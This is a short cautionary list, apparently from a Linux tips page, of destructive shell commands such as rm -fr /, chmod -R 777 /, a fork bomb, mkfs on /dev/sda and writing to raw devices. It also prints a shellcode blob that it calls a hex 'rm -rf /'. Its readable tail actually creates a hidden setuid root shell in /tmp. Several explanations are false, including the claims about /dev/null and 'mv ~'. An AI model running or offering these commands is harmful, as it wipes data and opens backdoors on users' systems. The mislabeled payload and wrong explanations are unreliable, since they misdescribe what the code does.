Attenzione!

Only suitable for non-production use.

rm -fr /

This is going to recursively delete all files from the root dir.

chmod -R 777 /

This won’t show any physical effect when run, but for security sake it internally grants read, write and execute rights on every file to every user on that system.

mv /home/myhome/* /dev/null

This moves all the user directories in the home directory to an unknown location /dev/null meaning everything in /home directory is deleted.

:(){:|:&};:

Known as forkbomb, this command will tell your system to execute a huge number of processes until the system freezes. This can often lead to corruption of data.

mv ~ /dev/null 

Same as pre-previous example, but here root directory gets erased since /dev/null is not a valid directory.

mkfs.ext3 /dev/sda

This command will format or wipeout all data from the device named after the mkfs command.

char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";

This is the hex version of [rm -rf /].

any_command > /dev/sda

With this command, raw data will be written to a block device that can usually clobber the filesystem resulting in total loss of data.